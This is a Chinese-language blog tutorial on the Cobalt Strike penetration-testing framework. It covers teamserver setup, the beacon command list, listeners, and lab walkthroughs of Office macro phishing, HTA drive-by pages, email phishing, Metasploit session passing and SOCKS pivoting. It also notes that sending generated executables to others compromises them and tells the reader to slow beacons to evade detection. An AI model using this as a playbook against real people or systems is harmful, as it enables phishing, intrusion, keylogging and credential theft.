cs工具

CobaltStrike是一款美國RedTeam開發(fā)的滲透測試神器,常被業(yè)界人稱為CS。最近這個工具大火,成為了滲透測試中不可缺少的利器。其擁有多種協(xié)議主機上線方式,集成了提權(quán),憑據(jù)導出,端口轉(zhuǎn)發(fā),socket代理,office攻擊,文件捆綁,釣魚等功能。同時,CobaltStrike還可以調(diào)用Mimikatz等其他知名工具,因此廣受黑客喜愛。

CobaltStrike分為客戶端和服務端可分布式操作可以協(xié)同作戰(zhàn)。但一定要架設(shè)在外網(wǎng)上。當然你知道利用這款工具主要用于內(nèi)網(wǎng)滲透以及APT攻擊。

項目官網(wǎng):https://www.cobaltstrike.com

君子藏器于身待時而動,安全不露圭角覆盂之安。
——AnonySec
https://payloads.cn

更多干貨技術(shù)文章請前往 AnonySec'Blog


image

前言

Cobalt Strike 一款以Metasploit為基礎(chǔ)的GUI框架式滲透測試工具,集成了端口轉(zhuǎn)發(fā)、服務掃描,自動化溢出,多模式端口監(jiān)聽,exe、powershell木馬生成等。

釣魚攻擊包括:站點克隆,目標信息獲取,java執(zhí)行,瀏覽器自動攻擊等。

Cobalt Strike 主要用于團隊作戰(zhàn),可謂是團隊滲透神器,能讓多個攻擊者同時連接到團體服務器上,共享攻擊資源與目標信息和sessions。

Cobalt Strike 作為一款協(xié)同APT工具,針對內(nèi)網(wǎng)的滲透測試和作為apt的控制終端功能,使其變成眾多APT組織的首選。

image
image

基本功能

安裝

Cobalt Strike 分為客戶端和服務端,可分布式操作、協(xié)同作戰(zhàn)。服務器端只能運行在Linux系統(tǒng)中,可搭建在VPS上。

服務端

服務端關(guān)鍵的文件是teamserver以及cobaltstrike.jar,將這兩個文件放到服務器上同一個目錄,然后運行:

chmod +x teamserver
./teamserver 10.11.42.202 test123  
# 服務端真實IP(不能使用0.0.0.0或127.0.0.1)和連接密碼

image

客戶端

客戶端在Windows、Linux、Mac下都可以運行 (需要配置好Java環(huán)境)。啟動Cobalt Strike客戶端,輸入服務端的IP以及端口、連接密碼,用戶名可以任意設(shè)置。

image

在控制臺所有操作指令都會被記錄保留在Cobalt Strike目錄logs下。

參數(shù)詳情

Cobalt Strike

image
New Connection #新的連接(支持連接多個服務器端)
Preferences #偏好設(shè)置(設(shè)置Cobal Strike界面、控制臺、以及輸出報告樣式、TeamServer連接記錄等)
Visualization #窗口視圖模式(展示輸出結(jié)果的形式)
VPN Interfaces #VPN接入
Listenrs #監(jiān)聽器(創(chuàng)建Listener)
Script Manager #腳本管理
Close #關(guān)閉

View

image
Applications #應用(顯示受害者機器的應用信息)
Credentials #憑證(通過hashdump或Mimikatz抓取過的密碼都會儲存在這里)
Downloads #下載文件
Event Log #事件日志(主機上線記錄以及團隊協(xié)作聊天記錄)
Keystrokes #鍵盤記錄
Proxy Pivots #代理模塊
Screenshots #截圖
Script Console #腳本控制臺(可以加載各種腳本,增強功能https://github.com/rsmudge/cortana-scripts)
Targets #顯示目標主機
Web Log #Web日志

Attacks

Packages
image
HTML Application #生成惡意的HTA木馬文件
MS Office Macro #生成office宏病毒文件
Payload Generator #生成各種語言版本的payload
USB/CD AutoPlay #生成利用自動播放運行的木馬文件
Windows Dropper #捆綁器,能夠?qū)ξ臋n類進行捆綁
Windows Executable #生成可執(zhí)行Payload
Windows Executable(S) #把包含payload,Stageless生成可執(zhí)行文件(包含多數(shù)功能)

Web Drive-by
image
Manage #對開啟的web服務進行管理
Clone Site #克隆網(wǎng)站(可記錄受害者提交的數(shù)據(jù))
Host File #提供Web以供下載某文件
Scripted Web Delivery #提供Web服務,便于下載和執(zhí)行PowerShell Payload,類似于Metasploit的web_delivery 
Signed Applet Attack #啟動一個Web服務以提供自簽名Java Applet的運行環(huán)境
Smart Applet Attack #自動檢測Java版本并利用已知的exploits繞過security
System Profiler #用來獲取一些系統(tǒng)信息,比如系統(tǒng)版本,F(xiàn)lash版本,瀏覽器版本等

Reporting

image
0\. Activity report #活動報告
1\. Hosts report #主機報告
2\. Indicators of Compromise #威脅報告
3\. Sessions report #會話報告
4\. Social engineering report #社會工程學報告
5\. Tactics, Techniques, and Procedures #策略、技巧和程序  
Reset Data #重置數(shù)據(jù)
Export Data #導出數(shù)據(jù)

Help

image
Homepage #官方主頁
Support #技術(shù)支持
Arsenal #開發(fā)者
System information #版本信息
About #關(guān)于

右鍵菜單

image

Access

Dump Hashes #獲取hash
Elevate #提權(quán)
Golden Ticket #生成黃金票據(jù)注入當前會話
Make token #憑證轉(zhuǎn)換
Run Mimikatz #運行 Mimikatz 
Spawn As #用其他用戶生成Cobalt Strike偵聽器

Explore

Browser Pivot #劫持目標瀏覽器進程
Desktop(VNC) #桌面交互
File Browser #文件瀏覽器
Net View #命令Net View
Port Scan #端口掃描
Process List #進程列表
Screenshot #截圖

Pivoting

SOCKS Server #代理服務
Listener #反向端口轉(zhuǎn)發(fā)
Deploy VPN #部署VPN

Spawn

外部監(jiān)聽器(如指派給MSF,獲取meterpreter權(quán)限)

Session

Note #備注
Remove #刪除
Sleep #指定被控端休眠時間,默認60秒一次回傳,讓被控端每10秒來下載一次任務。實際中頻率不宜過快,容易被發(fā)現(xiàn)。
Exit #退出

Interact(打開beacon)控制臺的基本使用

beacon> help

Beacon Commands
===============

Command                   Description
-------                   -----------
argue                     進程參數(shù)欺騙
blockdlls                 阻止子進程加載非Microsoft DLL
browserpivot              注入受害者瀏覽器進程
bypassuac                 繞過UAC提升權(quán)限
cancel                    取消正在進行的下載
cd                        切換目錄
checkin                   強制讓被控端回連一次
clear                     清除beacon內(nèi)部的任務隊列
connect                   Connect to a Beacon peer over TCP
covertvpn                 部署Covert VPN客戶端
cp                        復制文件
dcsync                    從DC中提取密碼哈希
desktop                   遠程桌面(VNC)
dllinject                 反射DLL注入進程
dllload                   使用LoadLibrary將DLL加載到進程中
download                  下載文件
downloads                 列出正在進行的文件下載
drives                    列出目標盤符
elevate                   使用exp
execute                   在目標上執(zhí)行程序(無輸出)
execute-assembly          在目標上內(nèi)存中執(zhí)行本地.NET程序
exit                      終止beacon會話
getprivs                  Enable system privileges on current token
getsystem                 嘗試獲取SYSTEM權(quán)限
getuid                    獲取用戶ID
hashdump                  轉(zhuǎn)儲密碼哈希值
help                      幫助
inject                    在注入進程生成會話
jobkill                   結(jié)束一個后臺任務
jobs                      列出后臺任務
kerberos_ccache_use       從ccache文件中導入票據(jù)應用于此會話
kerberos_ticket_purge     清除當前會話的票據(jù)
kerberos_ticket_use       Apply 從ticket文件中導入票據(jù)應用于此會話
keylogger                 鍵盤記錄
kill                      結(jié)束進程
link                      Connect to a Beacon peer over a named pipe
logonpasswords            使用mimikatz轉(zhuǎn)儲憑據(jù)和哈希值
ls                        列出文件
make_token                創(chuàng)建令牌以傳遞憑據(jù)
mimikatz                  運行mimikatz
mkdir                     創(chuàng)建一個目錄
mode dns                  使用DNS A作為通信通道(僅限D(zhuǎn)NS beacon)
mode dns-txt              使用DNS TXT作為通信通道(僅限D(zhuǎn) beacon)
mode dns6                 使用DNS AAAA作為通信通道(僅限D(zhuǎn)NS beacon)
mode http                 使用HTTP作為通信通道
mv                        移動文件
net                       net命令
note                      備注       
portscan                  進行端口掃描
powerpick                 通過Unmanaged PowerShell執(zhí)行命令
powershell                通過powershell.exe執(zhí)行命令
powershell-import         導入powershell腳本
ppid                      Set parent PID for spawned post-ex jobs
ps                        顯示進程列表
psexec                    Use a service to spawn a session on a host
psexec_psh                Use PowerShell to spawn a session on a host
psinject                  在特定進程中執(zhí)行PowerShell命令
pth                       使用Mimikatz進行傳遞哈希
pwd                       當前目錄位置
reg                       Query the registry
rev2self                  恢復原始令牌
rm                        刪除文件或文件夾
rportfwd                  端口轉(zhuǎn)發(fā)
run                       在目標上執(zhí)行程序(返回輸出)
runas                     以其他用戶權(quán)限執(zhí)行程序
runasadmin                在高權(quán)限下執(zhí)行程序
runu                      Execute a program under another PID
screenshot                屏幕截圖
setenv                    設(shè)置環(huán)境變量
shell                     執(zhí)行cmd命令
shinject                  將shellcode注入進程
shspawn                   啟動一個進程并將shellcode注入其中
sleep                     設(shè)置睡眠延遲時間
socks                     啟動SOCKS4代理
socks stop                停止SOCKS4
spawn                     Spawn a session 
spawnas                   Spawn a session as another user
spawnto                   Set executable to spawn processes into
spawnu                    Spawn a session under another PID
ssh                       使用ssh連接遠程主機
ssh-key                   使用密鑰連接遠程主機
steal_token               從進程中竊取令牌
timestomp                 將一個文件的時間戳應用到另一個文件
unlink                    Disconnect from parent Beacon
upload                    上傳文件
wdigest                   使用mimikatz轉(zhuǎn)儲明文憑據(jù)
winrm                     使用WinRM橫向滲透
wmi                       使用WMI橫向滲透

使用

Listeners簡介

在本版本Cobalt Strike 3.14中,提供了如圖9種 Listener (監(jiān)聽器)。

image
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/beacon_tcp/bind_tcp
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp (3.13版后增加,支持linuxSSH會話)

  • beacon_xx 系列為Cobalt Strike自身,包括 dns、http、https、smb 四種方式的監(jiān)聽器。
  • foreign 系列為外部監(jiān)聽器,通常與MSF或者Armitage聯(lián)動。

在Cobalt Strike 3.13版本后增加了一個新的 Listeners (windows/beacon_tcp/bind_tcp) ,它支持linuxSSH會話。具體更新內(nèi)容可以查閱 官網(wǎng) 。

創(chuàng)建一個服務

首先配置一個監(jiān)聽器

image

選擇 Attacks > Packages > Windows Executable

image

上線成功,在 Event Log 處出現(xiàn)上線信息。

image

Beacon

右鍵目標interact來使用Beacon,用它來執(zhí)行各種命令。在Cobalt Strike中,默認心跳為60s,執(zhí)行命令的響應很慢,在下載文件時更加明顯,所以根據(jù)實戰(zhàn)環(huán)境把時間降低,建議不要太快,否則流量會相對明顯。

image

在這里設(shè)置sleep 10,同時在beacon中,如果想對目標進行命令管理,需要在前面加上shell,如shell whoamishell ipconfig等。

總結(jié)

這里只是簡單描述CobaltStrike的用法,其中還有很多功能的使用,需要實際操作中去發(fā)現(xiàn)。更核心的地方在于理解CobaltStrike的Beacon在內(nèi)網(wǎng)中的通信過程,這對于滲透者能否更進一步深入內(nèi)網(wǎng)起到重要作用,也是神器的價值所在。

在滲透過程中,不要僅限于單一模式的思路,根據(jù)實際的情況,選擇更優(yōu)的方法來進行下一步的滲透測試。


實驗環(huán)境:

服務器端(Linux):192.168.0.109靶機(windows):192.168.19.130

使用cobaltstrike 3.14

實驗步驟

將工具上傳到kali系統(tǒng)中運行時給777權(quán)限

root@kali:/mnt/cobaltstrike# chmod 777

/mnt/cobaltstrike/

一、啟動,連接服務器

啟動服務端:(test 為待會靶機連接服務器的密碼)./teamserver 192.168.19.146 test

Test為密碼hash密碼要與客戶端一樣諾不一樣則此軟件存在后面

image

客戶端連接服務器運行:cobalstrike.bat

image
image

啟動客戶端,輸入ip,密碼,端口,用戶默認

如果客戶端 是Linux操作系統(tǒng)則運行以下命令,啟動客戶端:java -Dfile.encoding=UTF-8

-javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap

-XX:+UseParallelGC -jar cobaltstrike.jar

創(chuàng)建監(jiān)聽器。4.0一、創(chuàng)建監(jiān)聽器

1、點擊 Cobalt Strike ->

Listeners->Add,其中內(nèi)置了八個Payload,

wndows/beacon_dns/reverse_dns_txt

windows/beacon_http/reverse_http

windows/beacon_https/reverse_https

windows/beacon_bind_pipe

windows/beacon_tcp

windows/beacon_extc2

windows/foreign/reverse_http

windows/foreign/reverse_https

image
image

生成木馬創(chuàng)建payload 讓主機上線

image
image

運行該exe主機成功上線:可以查看上線主機的磁盤信息,進行端口掃描,查看進程等信息。

同理如果將生成的artifact.exe作為附件發(fā)送給其他人,只要有人點擊,則他的機器會上線。不過現(xiàn)在的電腦都裝了殺毒軟件,所以payload需做免殺。這個后續(xù)在研發(fā)

image
image

HttpsPayload應用

優(yōu)點:可能過行為查殺、另外administrator運行可直接提升為system權(quán)限

第一步

image

第二步:創(chuàng)建服務

Sc create test binpath= ”c:\test.exe”

start= auto displayname= ”test”

Sc start test

Sc delete test

Sc top test


1、結(jié)合metasploit,反彈shell

1. MSF中use exploit/multi/handler,然后set payload windows/meterpreter/reverse_tcp、set lhost、set lport;然后CS中新建監(jiān)聽器;一個test社工肉雞運行,然后新建監(jiān)聽器reverse_tcp派生會話,run:

image

新建兩個監(jiān)聽器一個放木馬上線

在靶機中使用Cobalt Strike創(chuàng)建一個windows/foreign/reverse_tcp的Listener。其中ip為Metasploit的ip地址,端口為Metasploit所監(jiān)聽的端口。

選中剛剛新建msf

image
image
image
image

派生給reverse_tcp然后Exploit

2、office宏釣魚

攻擊→后門→MS office 然后復制惡意代碼→插入office的宏中,社工肉雞打開即可

image
image
image

下載運行則中招

Cs 生成的代碼直接放到創(chuàng)建里面去,注意:做試驗的時候,宏的位置不要設(shè)置所有的活動模板和文檔,建設(shè)應用在當前文檔,不然本機所有word文檔運行都會種上你的木馬,另外打開word文檔有宏提示,一般是word默認禁用所有宏(文件—選項—信任中心—信任中心設(shè)置里面配置)。

3、hta網(wǎng)頁掛馬

第一步:生成hta

image
image

第二步:使用文件下載

image
image

點擊開始之后,evil.hta文件會自動傳到cs uploads目錄。

image
image

如果之前設(shè)置過釣魚頁面,記得一定要刪掉,不然會克隆的時候會報錯

image

總結(jié):

1. 先制作HTML:http://192.168.1.184:80/test.hta

2. 釣魚攻擊→文件下載:http://192.168.1.184:80/download/file.ext

3. 釣魚攻擊→克隆網(wǎng)站:http://192.168.1.184:80/

4. 社工肉雞打開:

image

鍵盤記錄

4、郵件釣魚

1. 郵件釣魚:

image
image

附件下載后運行

5. 信息收集

制作好釣魚頁面:可以使用https://bitly.com制作短網(wǎng)址,然后讓對方打開:

image

然后設(shè)置好跳轉(zhuǎn)的網(wǎng)址

image

以通過https://bitly.com生成url短鏈接 ()

6. socks代理:

win7雙網(wǎng)卡:內(nèi)網(wǎng):172.16.2.1

win2003:172.16.2.2

image

win7雙網(wǎng)卡

image

2003內(nèi)網(wǎng):172.16.2.1

MSF中:setg Proxies socks4:192.168.1.184:40520;use auxiliary/scanner/smb/smb_version;然后set rhosts 172.16.2.2;run

image
image

小結(jié):

1. CS可以創(chuàng)建多個客戶端,操作方便

2. 功能擴展比較多,如:payload可以多種語言。

3. 支持宏的辦公軟件都可以(office/WPS)

4. 默認宏安全性高/非常安全,運行宏時會提示;中低不會提示,打開world有提示,說明宏很有可能有木馬。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

友情鏈接更多精彩內(nèi)容